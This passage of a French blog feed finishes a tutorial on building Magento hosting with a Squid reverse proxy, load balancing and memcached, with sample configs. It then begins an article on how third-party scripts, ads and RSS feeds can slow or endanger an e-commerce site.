<p style="text-align: justify">et forcément, le serveur Web, ca lui fait du bien. En résumé, il se concentre sur les requêtes Ajax et le PHP, il laisse les transferts &laquo;&nbsp;de base&nbsp;&raquo; au Rproxy. Evidemment, un tour de magie de ce type, ca consomme un maximum en RAM car il faut tout stocker en RAM pour aller vite. Si on doit charger chaque éléments depuis le disque dur, c&#8217;est plutôt lent. Un bon reverse proxy a donc beaucoup de RAM et un processeur correct, sans plus puisque la charge processeur est faible.</p>
<p style="text-align: justify">Au final, même si l&#8217;exemple ici, un peu exagéré, montre un gain de 97%, on gagne quand même en général au minimum 75% de trafic en moins vers le ou les serveurs Web. Donc qu&#8217;on ait un serveur Web ou plusieurs, le reverse proxy est <span style="text-decoration: underline;">in-dis-pen-sable</span>.</p>
<p style="text-align: justify;">Une autre optimisation intelligente sur ce point est à faire au niveau du code. Un fichier JS, un fichier CSS et pas des millions, ca change des choses. Du coup, concaténer tout cela intelligemment, c&#8217;est un plus non négligeable. Un gars s&#8217;est pris la tête à faire le boulot pour vous et encore mieux, il en a fait un plugin Magento, que demande le peuple ? Au fait ca s&#8217;appel <a title="Fooman speedster Module" href="http://www.magentocommerce.com/extension/457/fooman-speedster" target="_blank">Fooman speedster module</a> et, depuis l&#8217;invention de la fénéantise, c&#8217;est un des outils les plus indispensable pour optimiser sans se fatiguer.</p>
<h2>Installation de Squid</h2>
<p style="text-align: justify">
Vous êtes des gens biens, vous avez une Debian.</p>
<p>Vous pouvez aussi être des gens bien et ne pas avoir de Debian mais dans ce cas vous savez installer une tarball ou un package. Il y a même des gens bien qui travaillent avec OpenBSD par exemple, ils ont toute ma considération mais je ne ferai pas de howto pour <img src='http://www.wikigento.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  (Il n&#8217;y a plus de gens bien sous HPUX rassurez moi ?)</p>
<p>Le coté &laquo;&nbsp;à la main&nbsp;&raquo;, je sais faire aussi mais, personnellement, j&#8217;adore APT et DPKG <img src='http://www.wikigento.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><span style="text-decoration: underline;">Attention, on se concentre, installer Squid ce n&#8217;est pas simple sous debian :</span></p>
<p>~&gt; su   (on passe root car on est <span style="text-decoration: underline;">jamais</span> loggé en root par défaut)<br />
~&gt; apt-get install squid</p>
<p>Ok on respire, on a fait le plus dur. Un petit café pour se récompenser s&#8217;impose, bravo, vous avez bien bossé ! (merci aux gars de Gnu aussi). Ca c&#8217;est fait, Squid est installé, on souffle, on respire, c&#8217;était dur mais la vie est dure parfois.</p>
<h2>Configuration de squid en reverse proxy Magento</h2>
<p style="text-align: justify;">Phase 2, on essaye de faire croire aux patrons qu&#8217;on est payé à faire quelque chose de balaise et incompréhensible, qui mérite probablement une augmentation énorme mais qu&#8217;on va se contenter de 10% et une voiture de fonction : on édite le fichier de configuration.</p>
<p style="text-align: justify;">Bon Squid c&#8217;est un proxy et un reverse proxy. En gros ca permet dans un cas comme dans l&#8217;autre de gérer un cache pour que les fichiers régulièrement demandés soient dans un cache rapide, mémoire de préférence, plutot que redemandés voir ré interprétés par le serveurs Web. Ca allège énormément les serveurs dans le cas du reverse proxy. Le proxy cache les réponses des serveurs Web aux browsers http pour les acheminer au client sans les redemander. Le reverse proxy lui fait l&#8217;inverse (d&#8217;où le reverse), il stocke les réponses les plus souvent envoyées par le serveurs aux clients afin de servir ceux-ci sans demander quoique ce soit aux serveurs Web.</p>
<p style="text-align: justify;">Bref Squid c&#8217;est complexe, énorme, un fichier de conf de base ca fait dans les 7000 lignes avec les commentaires, je vous livre donc ici une version expurgée des commentaires, juste préparer pour du reverse proxy et dont toutes les fonctions ne sont pas activées, juste les principales. Encore une précision, quand vous utilisez un reverse proxy, n&#8217;oubliez pas que votre serveur Web ne verra plus toutes les requêtes&#8230; Eh oui, c&#8217;est bien le but d&#8217;ailleurs. Donc ce qui est intercepté doit être minutieusement loggé pour pouvoir avoir des stats et compléter celles des serveurs Web sous Apache.</p>
<p><span style="text-decoration: underline;">Allez, voici la configuration :</span></p>

<div class="wp_codebox_msgheader wp_codebox_hide"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p656code2'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p6562"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
</pre></td><td class="code" id="p656code2"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;"># Squid sooooo basic configuration for Magento, by Philippe Humeau &amp;amp; Adrien Urban (c) 2009 NBS System</span>
acl manager proto cache_object
acl localhost src 127.0.0.1<span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">32</span>
acl to_localhost dst 127.0.0.0<span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">8</span>
acl SSL_ports port <span style="color: #000000;">443</span>
acl Safe_ports port <span style="color: #000000;">80</span>		<span style="color: #666666; font-style: italic;"># http</span>
acl Safe_ports port <span style="color: #000000;">443</span>		<span style="color: #666666; font-style: italic;"># https</span>
acl CONNECT method CONNECT
http_access allow manager localhost
http_access deny manager
http_access deny <span style="color: #000000; font-weight: bold;">!</span>Safe_ports
http_access deny CONNECT <span style="color: #000000; font-weight: bold;">!</span>SSL_ports
icp_access deny all
htcp_access deny all
&nbsp;
http_port 192.168.1.1:<span style="color: #000000;">80</span> transparent <span style="color: #007800;">name</span>=proxy_int_IP
http_port 33.44.55.66:<span style="color: #000000;">80</span> transparent <span style="color: #007800;">name</span>=ip_demostore
hierarchy_stoplist cgi-bin ?
&nbsp;
cache_mem <span style="color: #000000;">6144</span> MB
maximum_object_size_in_memory <span style="color: #000000;">8</span> MB
memory_replacement_policy heap lfuda
cache_dir null <span style="color: #000000; font-weight: bold;">/</span>tmp
&nbsp;
&nbsp;
access_log <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>log<span style="color: #000000; font-weight: bold;">/</span>squid3<span style="color: #000000; font-weight: bold;">/</span>access.log squid
access_log <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>log<span style="color: #000000; font-weight: bold;">/</span>squid3<span style="color: #000000; font-weight: bold;">/</span>access-apache.log combined
refresh_pattern <span style="color: #7a0874; font-weight: bold;">&#40;</span>cgi-bin<span style="color: #000000; font-weight: bold;">|</span>\?<span style="color: #7a0874; font-weight: bold;">&#41;</span>	<span style="color: #000000;">0</span>	<span style="color: #000000;">0</span><span style="color: #000000; font-weight: bold;">%</span>	<span style="color: #000000;">0</span>
refresh_pattern .		<span style="color: #000000;">0</span>	<span style="color: #000000;">20</span><span style="color: #000000; font-weight: bold;">%</span>	<span style="color: #000000;">4320</span>
icp_port <span style="color: #000000;">3130</span>
&nbsp;
acl localhost src 127.0.0.1<span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">8</span>
acl localnet src 192.168.1.0<span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">24</span>
&nbsp;
acl debianUpdate dstdomain ftp.fr.debian.org              <span style="color: #666666; font-style: italic;"># pour les updates Debian</span>
acl debianUpdate dstdomain security.debian.org          <span style="color: #666666; font-style: italic;"># pour les updates Debian</span>
acl dstOutAllowed dstdomain ws.mperf.com                <span style="color: #666666; font-style: italic;"># pour le mailing, remplacer mailperf par votre fournisseur</span>
acl dstOutAllowed dstdomain chart.apis.google.com      <span style="color: #666666; font-style: italic;"># pour les beaux graphs à la google style</span>
acl dstOutAllowed dstdomain www.magentocommerce.com     <span style="color: #666666; font-style: italic;"># devinez</span>
acl dstOutAllowed dstdomain connect.magentocommerce.com <span style="color: #666666; font-style: italic;"># devinez v2.0</span>
acl dstOutAllowed dstdomain pear.php.net                           <span style="color: #666666; font-style: italic;"># devinez v3.0</span>
acl dstOutAllowed dstdomain schemas.xmlsoap.org                <span style="color: #666666; font-style: italic;"># pour les wsdl, soaperie et autres webservices</span>
&nbsp;
http_access allow localnet debianUpdate
http_access allow localnet dstOutAllowed
&nbsp;
acl IpInternal myportname proxy_int_IP
acl IpExternal myportname ip_demostore
acl dstdemostore dstdomain www.demostore.fr
acl dstdemostore dstdomain demostore.fr
never_direct allow dstdemostore
&nbsp;
<span style="color: #666666; font-style: italic;"># demostore</span>
cache_peer 192.168.1.2 parent <span style="color: #000000;">80</span> <span style="color: #000000;">0</span> no-query round-robin sourcehash
cache_peer 192.168.1.3 parent <span style="color: #000000;">80</span> <span style="color: #000000;">0</span> no-query round-robin sourcehash
cache_peer_access 192.168.1.2 allow dstdemostore
cache_peer_access 192.168.1.3 allow dstdemostore
&nbsp;
cache_peer_access 192.168.1.2 deny all
cache_peer_access 192.168.1.3 deny all
&nbsp;
http_access allow dstdemostore
&nbsp;
http_access deny all
&nbsp;
access_log <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>log<span style="color: #000000; font-weight: bold;">/</span>squid3<span style="color: #000000; font-weight: bold;">/</span>demostore-squid.log squid demostore
access_log <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>log<span style="color: #000000; font-weight: bold;">/</span>squid3<span style="color: #000000; font-weight: bold;">/</span>demostore-apache.log combined demostore</pre></td></tr></table></div>

<p style="text-align: justify">Dans cet exemple, votre serveur dispose de 8 Go de Ram et on en prend 6 pour le cache de squid. C&#8217;est évidemment à ajuster en fonction de votre configuration. (cache_mem 6144 MB) On a aussi une taille maximal de fichier à 8 Mo pour cacher les gros objets et on interdit le cache sur disque pour ne pas gréver les performances. On a paramétré le service Squid pour gérer www.demostore.fr et demostore.fr et donné l&#8217;accès aux serveurs vers d&#8217;autres hosts comme Magento connect ou les updates de Debian.</p>
<h2>Le load balancer</h2>
<p style="text-align: justify">Bonne nouvelle : c&#8217;est déjà fait !</p>
<p>Eh oui en donnant deux peers vous avez dit à Squid qu&#8217;il avait deux serveurs Web dont il devait s&#8217;occuper. Vous pourriez vouloir donner un poids différent (ici dans l&#8217;exemple c&#8217;est du 50/50) si vous avez des serveurs de puissance différentes. Il faudra alors ajouter Weight comme directive dans la déclaration des peers.</p>
<p>Le piège serait de faire du load balancing IP. Netfilter sait le faire, c&#8217;est même assez simple à mettre en oeuvre et pour tout vous dire c&#8217;est ce qu&#8217;on faisait à NBS System avant. Mais cela posait des problèmes quand le client arrivait d&#8217;une IP qui changeait en cour de session (gros firewall corporate qui nat par une autre connexion ou même simplement une adsl en ip variable). Du coup il vaut mieux passer par cette solution qui est plus propre.</p>
<h1>Memcached</h1>
<p><BR></p>
<h2>Introduction</h2>
<p style="text-align: justify">Nous y voila, la fin de l&#8217;aventure Firewall / Load Balancer / Reverse Proxy est proche&#8230;</p>
<p>Si je finis par ce point c&#8217;est aussi parce que c&#8217;est le plus facile quelque part.</p>
<p>On peut mettre memcached un peu partout dans l&#8217;infrastructure, sur le proxy, sur les serveurs Web ou même sur les serveurs de base de données. L&#8217;idée c&#8217;est de garder les sessions des surfers non pas en fichiers mais en mémoire. D&#8217;un point de vue performance, c&#8217;est très préférable et c&#8217;est simple à réaliser alors pourquoi s&#8217;en passer&#8230;</p>
<h2>Installation</h2>
<p style="text-align: justify">
On peut le mettre dans plusieurs endroit ce fameux memcached mais je préconise un serveur qui est unique et accédé / accessible par tous comme la base de données (si on a qu&#8217;un serveur de DB) ou le reverse proxy mais, si possible, pas sur les serveurs Web. En effet si l&#8217;un tombe, autant que l&#8217;autre puisse bosser et reprendre ses sessions. Evidemment, il vaut mieux que le dit serveur soit redondant ou bien costaud pour ne pas tomber sinon c&#8217;est toutes les sessions qu&#8217;on perd mais vu que le site tombera avec, ca sera un moindre problème <img src='http://www.wikigento.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />
</p>
<p><u>Oui, je sais, toujours un peu douleureuse cette phase sous Debian : </u><br />
~&gt; su   (on passe root car on est <span style="text-decoration: underline;">plus</span> loggé en root, normal)<br />
~&gt; apt-get install memcached php5-memcached</p>
<p>Allez, ca va aller, c&#8217;est finit&#8230; On respire lentement, le rythme cardiaque redescend !</p>
<h2>Configuration</h2>
<p>Dans le fichier local.xml de Magento, vous devriez pouvoir ajouter :</p>

<div class="wp_codebox_msgheader wp_codebox_hide"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p656code3'); return false;">View Code</a> XML</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p6563"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
</pre></td><td class="code" id="p656code3"><pre class="xml" style="font-family:monospace;"><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;global<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
  <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;cache<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
    <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;backend<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>memcached<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/backend<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
    <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;memcached<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
      <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;compression</span><span style="color: #000000; font-weight: bold;">/&gt;</span></span>
      <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;cache_dir</span><span style="color: #000000; font-weight: bold;">/&gt;</span></span>
      <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;hashed_directory_level</span><span style="color: #000000; font-weight: bold;">/&gt;</span></span>
      <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;hashed_directory_umask</span><span style="color: #000000; font-weight: bold;">/&gt;</span></span>
          <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;file_name_prefix</span><span style="color: #000000; font-weight: bold;">/&gt;</span></span>
          <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;servers<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
             <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;default<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
              <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;host<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>192.168.1.1<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/host<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
              <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;port<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>11211<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/port<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
             <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;persistent<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>1<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/persistent<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
           <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/default<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
          <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/servers<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
      <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/memcached<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
  <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/cache<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;session_save<span style="color: #000000; font-weight: bold;">&gt;</span></span></span><span style="color: #339933;">&lt;![CDATA[memcache]]&gt;</span><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/session_save<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;session_save_path<span style="color: #000000; font-weight: bold;">&gt;</span></span></span><span style="color: #339933;">&lt;![CDATA[tcp://192.168.1.1:11211?persistent=1]]&gt;</span><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/session_save_path<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/global<span style="color: #000000; font-weight: bold;">&gt;</span></span></span></pre></td></tr></table></div>

<p>On peut aussi mettre memcached en dehors de Magento et de sa configuration, tout simplement en installant le démon avec une configuration dans le /etc/memcached.conf :</p>

<div class="wp_codebox_msgheader wp_codebox_hide"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p656code4'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p6564"><td class="line_numbers"><pre>1
2
3
4
5
6
7
</pre></td><td class="code" id="p656code4"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;"># memcached ultra simplistic config file by philippe Humeau (c) 2009 NBS System</span>
<span style="color: #660033;">-d</span>
logfile <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>log<span style="color: #000000; font-weight: bold;">/</span>memcached.log
<span style="color: #660033;">-m</span> <span style="color: #000000;">1024</span>
<span style="color: #660033;">-p</span> <span style="color: #000000;">11211</span> 
<span style="color: #660033;">-u</span> nobody
<span style="color: #660033;">-l</span> 192.168.1.1</pre></td></tr></table></div>

<p><BR></p>
<h1>Conclusion</h1>
<p><BR></p>
<ol>
<li>Vous méritez un café après tout ce travail</li>
<li>Je mérite un café après ce travail de rédaction</li>
<li>Il est incompréhensible que les producteurs de café soient pauvres</li>
<li>La personne qui monte un site Magento entièrement dédié au café, il va se faire du blé</li>
</ol>
<p style="text-align: justify">Oui&#8230; Je sais&#8230; J&#8217;ai toujours un petit soucis sur les conclusions mais bon, vous commencez à être habitués depuis le temps et puis je me soigne.</p>
<p>Prochain exercice de style, l&#8217;article 2/3 : Configuration d&#8217;un serveur Web pour Magento !</p>
<p style="text-align: justify">
PS : N&#8217;oubliez pas de vous inscrire pour Bargento 2, il reste encore quelques places et après on est complet, ce qui implique que même en arrivant à l&#8217;improviste sur place, on ne pourra pas vous faire rentrer pour rester dans les capacités d&#8217;accueil de la salle.</p>
<p>De plus, le papier sur Zend Application Server et les performances de Magento devrait apporter un jour nouveau et pas mal de complément sur ce mini tuto / howto.</p>
<p>Par manque de temps, je n&#8217;ai pas eu le temps de tout tester sur un serveur donc si il y a des boulettes dans les fichiers de configuration, n&#8217;hésitez pas à me les signaler, je modifierai l&#8217;article.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.wikigento.com/optimisation-systeme-reseau/construire-son-infrastructure-magento-partie-13-firewall-rproxy-load-balancer/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Les contenus tiers peuvent ralentir ou compromettre un site.</title>
		<link>http://www.wikigento.com/latence/les-contenus-tiers-peuvent-ralentir-ou-compromettre-un-site/</link>
		<comments>http://www.wikigento.com/latence/les-contenus-tiers-peuvent-ralentir-ou-compromettre-un-site/#comments</comments>
		<pubDate>Mon, 16 Mar 2009 16:47:47 +0000</pubDate>
		<dc:creator>Philippe Humeau</dc:creator>
				<category><![CDATA[Latence]]></category>
		<category><![CDATA[sécurité]]></category>
		<category><![CDATA[analytics]]></category>
		<category><![CDATA[import tiers]]></category>
		<category><![CDATA[rss]]></category>

		<guid isPermaLink="false">http://www.wikigento.com/?p=536</guid>
		<description><![CDATA[Pourquoi l'inclusion d'un contenu d'un tiers peut ralentir un site ou le compromette.]]></description>
			<content:encoded><![CDATA[<p>Bon j&#8217;en ai un peu marre du sujet &laquo;&nbsp;sécurité Magento&nbsp;&raquo; pour le moment. On en a beaucoup parlé, on a apporté des idées et des solutions mais j&#8217;aimerai repartir sur autre chose. C&#8217;est vrai quoi, j&#8217;ai fait 10 ans de test d&#8217;intrusion, pour me changer les idées, je pars sur du web commerce, un petit retour au système &amp; réseau, bref on s&#8217;aère le neurone et là, hop, XSS, CSRF etc&#8230;</p>
<p>Donc, aujourd&#8217;hui : les inclusions de contenus tiers !</p>
<p>Un petit schéma pour aider à comprendre (quoique&#8230; J&#8217;ai jamais été très fort en dessin. J&#8217;ai été en classe de dessin parce que la plus belle nana du collège faisait dessin, pas réellement pour mon talent en fait). Bref, je m&#8217;égare, donc ci-dessous, un site standard, au milieu. Au dessus un bandeau de pub qui vient d&#8217;une régie publicitaire, à droite un flux RSS et en bas, c&#8217;est de l&#8217;invisible, ce sont des inclusions dans le code source des pages.<br />
<span id="more-536"></span><br />
<a rel="attachment wp-att-569" href="http://www.wikigento.com/?attachment_id=569"><img class="aligncenter size-medium wp-image-569" title="inclusions de contenus tiers" src="http://www.wikigento.com/wp-content/uploads/2009/03/inclusions-500x231.jpg" alt="inclusions de contenus tiers" width="696" height="320" /></a></p>
<h2>Des inclusions, pour faire quoi ?</h2>
<p>Eh bien rendre le site plus dynamique, ajouter un widget ou un flux rss, récupérer du contenu éditorial écrit par d&#8217;autre, collecter des statistiques, avoir un menu déroulant tout beau, que sais-je encore. Les inclusions de contenus tiers, c&#8217;est tout ce qui ne vient pas de votre serveur local, tout ce qui est appelé par des GET depuis d&#8217;autres serveurs. des moteurs de recherche de prix en Iframe, un bout de javascript qui fait une merveille ou une autre, un logo qui témoigne  de votre allégence éternelle à la horde, bref les exemple ne manquent pas.</p>
<h3><span style="text-decoration: underline;">Les plus classiques :</span></h3>
<ol>
<li>Les bons vieux tags de statistiques et de télémétrie : Google analytics, Xiti etc&#8230;</li>
<li>Le RSS qui provient d&#8217;un fournisseur de produits ou de nouvelles</li>
<li>Les bouts de codes javascript copier/coller qui font un rollover jolie sur le menu ou des Jqueries toutes précodées</li>
<li>Des CSS ou skins contenants des images venant d&#8217;ailleurs</li>
<li>Les bandeaux publicitaires</li>
<li>Les exports des données/commandes/info vers un tiers</li>
</ol>
<h2>En quoi cela peut-il ralentir mon site ?</h2>
<p>Eh bien tout dépend du moment où ca se charge et de ce qui bloque ou ralentit.</p>
<p>Imaginons qu&#8217;un développeur ait mis dans les includes chargés en en-tête de page, le tag analytics. Imaginons ensuite que Google ne réponde plus (c&#8217;est rare) ou qu&#8217;il soit interdit d&#8217;y aller depuis le poste qui charge la page (je l&#8217;ai déjà vu, le proxy bloquait les IP google). Le résultat c&#8217;est que le code se chargeant au tout début de la page, la page ne charge plus. Elle va attendre le timeout par défaut (30 secondes) puis va finir par charger le reste&#8230;</p>
<p>En fin de page, c&#8217;est parfois moins génant, l&#8217;internaute a sa page, fait sa vie, le browser reste en cour de connexion mais au moins tout ce qui est déjà chargé est potentiellement fonctionnel.</p>
<p>Si on prend le cas d&#8217;un menu JS copié/collé, l&#8217;auteur peut avoir envie de savoir qui l&#8217;utilise et de se renvoyer un petit &laquo;&nbsp;ping&nbsp;&raquo;. A chaque fois que son menu est chargé par exemple, il fait un GET d&#8217;une page sur son site. Si son site est coupé, le menu ne charge pas, vous dépendez d&#8217;un tiers.</p>
<p>Votre centrale de publicité ou le fournisseur de votre skin peut aussi se mettre à ramer. En plus de votre chargement, vous ajouter sa latence de traitement à celle de votre page.</p>
<p>Ajax résoud partiellement le problème en effectuant ses requêtes en background, dans la machine virtuelle javascript du navigateur. Si un thread est planté, c&#8217;est moins grave, ent tout cas non bloquant visuellement.</p>
<p>Enfin, il ne faut pas oublier qu&#8217;appeler un contenu tiers, c&#8217;est ajouter la latence de la connexion entre votre client et vous à celle qui sépare votre client de toutes les sources tiers qui sont inclues. Par exemple, si ntre client [C] se connecte au serveur [S] qui sert une page où se trouve : un bout de javascript [J] qui fait un appel à l&#8217;extérieur, une régie pub [P] et un flux rss [R], ca nous donne :</p>
<p>[C] &#8211;&gt; [S]        (latence entre le client et le serveur)<br />
[S] &#8211;&gt;[C]         (réponse du serveur au client, eh oui, le paquet TCP il repart pas avec ses petits pieds)<br />
[C] &#8212;&gt; [J]      (latence du client à la source de Javascript)<br />
[J] &#8211;&gt; [C]       (les petits pieds tout ca tout ca)<br />
[C] &#8212;&#8211;&gt; [P]  (latence du client à la régie pub)<br />
[P] &#8211;&gt; [C]       (les petits pieds&#8230;)<br />
[C] -&gt; [R]         (latence du client à la source RSS)<br />
[R] &#8211;&gt; [C]       (&#8230;)</p>
<p>Bonne nouvelles, les requêtes étant séquentielles, votre client encaisse toutes les latences et les additionne !<br />
Votre latence qui était &#8211;&gt; + &#8211;&gt; (allez / retour client &lt;&#8212;-&gt; serveur) devient :<br />
&#8211;&gt;x2  +     &#8212;&gt;x2   +   &#8212;&#8211;&gt;x2 + -&gt;x2<br />
(serveur) (javascript)(régie pub)(rss)<br />
Soit en équivalent &laquo;&nbsp;petits tirets&nbsp;&raquo; : &#8212;- devient &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
Si le tiret vaut 10 ms, on passe de 40 ms à 220 ms&#8230;<br />
Le tout sans compter le chargement des contenus en eux même (le menu, les flux xml du rss, la JPEG de la banière)</p>
<p>Les navigateurs ne sont pas tous idiots et souvent ils demandent tout en même temps et traitent à l&#8217;arriver. Mais si c&#8217;est un point bloquant qui est en attente (le JS du menu par exemple) ca ne change rien, le client rame. Il faut donc choisir judicieusement les prestataires de ces contenus tiers (rapidité, disponibilité) et vérifier le comportement de son site s&#8217;il est isolé de ses &laquo;&nbsp;fournisseurs&nbsp;&raquo;. Pour cela, sous Linux rien de plus simple :</p>
<p><em>iptables -I OUTPUT -j DROP<br />
wget http://localhost/</em></p>
<p>On interdit toute connexion à l&#8217;extérieur (<em>iptables -I OUTPUT -j DROP</em>), puis on faire une requête sur la homepage du site. Si ca charge rapidement, on est plutôt bien partit. Si ca bloque, c&#8217;est que l&#8217;on a une relation de dépendance ! Ca ne teste que la home mais vous pouvez le tester sur une sous page, de même si vous avez un virtualhost vous aurez peut être à remplacer &laquo;&nbsp;localhost&nbsp;&raquo; par son nom. Le DROP permet d&#8217;avoir un comportement comme si l&#8217;hote distant était indisponible. Si vous mettez DENY ou REJECT à la place, votre site aura une réponse &laquo;&nbsp;non&nbsp;&raquo; instantanée et ca ne sera pas réaliste.</p>
<p>Enfin, si votre site doit poster l&#8217;information qu&#8217;il a collecté, une vente par exemple et l&#8217;acheminer à votre système  SAP, à votre système de Stats, à votre système de livraison, si ce fameux système rame, ca va ramer aussi. Bon si c&#8217;est la livraison, c&#8217;est après le checkout donc le client a tendance à ne pas trop zapper votre site après avoir mis sa CB, mais avant&#8230;</p>
<h2>Ok, ca peut faire ramer, mais est-ce potentiellement dangereux ?</h2>
<p>Oui, bon je vous vois d&#8217;ici me dire : &laquo;&nbsp;Ah-Ah ! Ca va reparler de sécurité&nbsp;&raquo;</p>
<p>Pas du tout, enfin un peu. Mais c&#8217;est comme on dit à la blackhat du &laquo;&nbsp;Digital Self Defense&nbsp;&raquo;, rien à voir avec la sécurité <img class="superemotions" title="Cool" alt="Cool" border="0" src="http://www.wikigento.com/wp-includes/images/smilies/icon_cool.gif" /><br />
(Ah bah ça ma p&#8217;tite dame, la mauvaise foi, c&#8217;est un métier !)</p>
<p>Bon, c&#8217;est risqué ou pas alors ?<br />
Bien sûr que c&#8217;est risqué, vous croyiez que j&#8217;avais mis le titre juste pour poser un smiley ?</p>
<p>Si votre fournisseurs de RSS met un bon gros bout de Javascript dans son flux ? Vous l&#8217;affichez ? Votre moulinette d&#8217;affichage est assez intelligente pour éviter d&#8217;afficher du code ? Sûr ? Et si ca se trouve, votre fournisseur de contenu RSS a une faille XSS qui permet à n&#8217;importe qui de poster du JS&#8230; Si si ca arrive les XSS <img src='http://www.wikigento.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Et votre régie publicitaire ? Elle est sérieuse ? Ahhhhh bon. Donc elle lit le code des Flashs postés pour éviter les attaques par anti DNS pinning j&#8217;imagine et puis elle ne rame jamais. C&#8217;est comme Gmail, ca plante jamais ça monsieur !</p>
<p>Et le bout de Javascript copié/collé pour faire un beau menu qui déroule, en glissant sur un rollover de folie avec des animations subliminales ? Il a été relu ? Il ne fait aucun get/post nul part ailleurs ?</p>
<h2>Comment éviter cela ?</h2>
<p>Eh bien en premier lieu vérifier le taux d&#8217;autonomie / dépendance de votre site Web avec le test iptables -P OUTPUT DROP.</p>
<p>Si ca passe, vous êtes assez tranquille sur les ralentissements sinon il regarder l&#8217;appel qui fait ramer. Mesurer les temps de réponse de chacune de vos inclusions pour savoir si ils sont tous globalement bon. Ca dépend aussi du budget que vous avez mis dans votre développement. A 2 000 € le site, il y aura de la récupération de code, c&#8217;est fatal. A 15 000 ou plus, si un code javascript est copié/collé c&#8217;est clairement un peu abusé.</p>
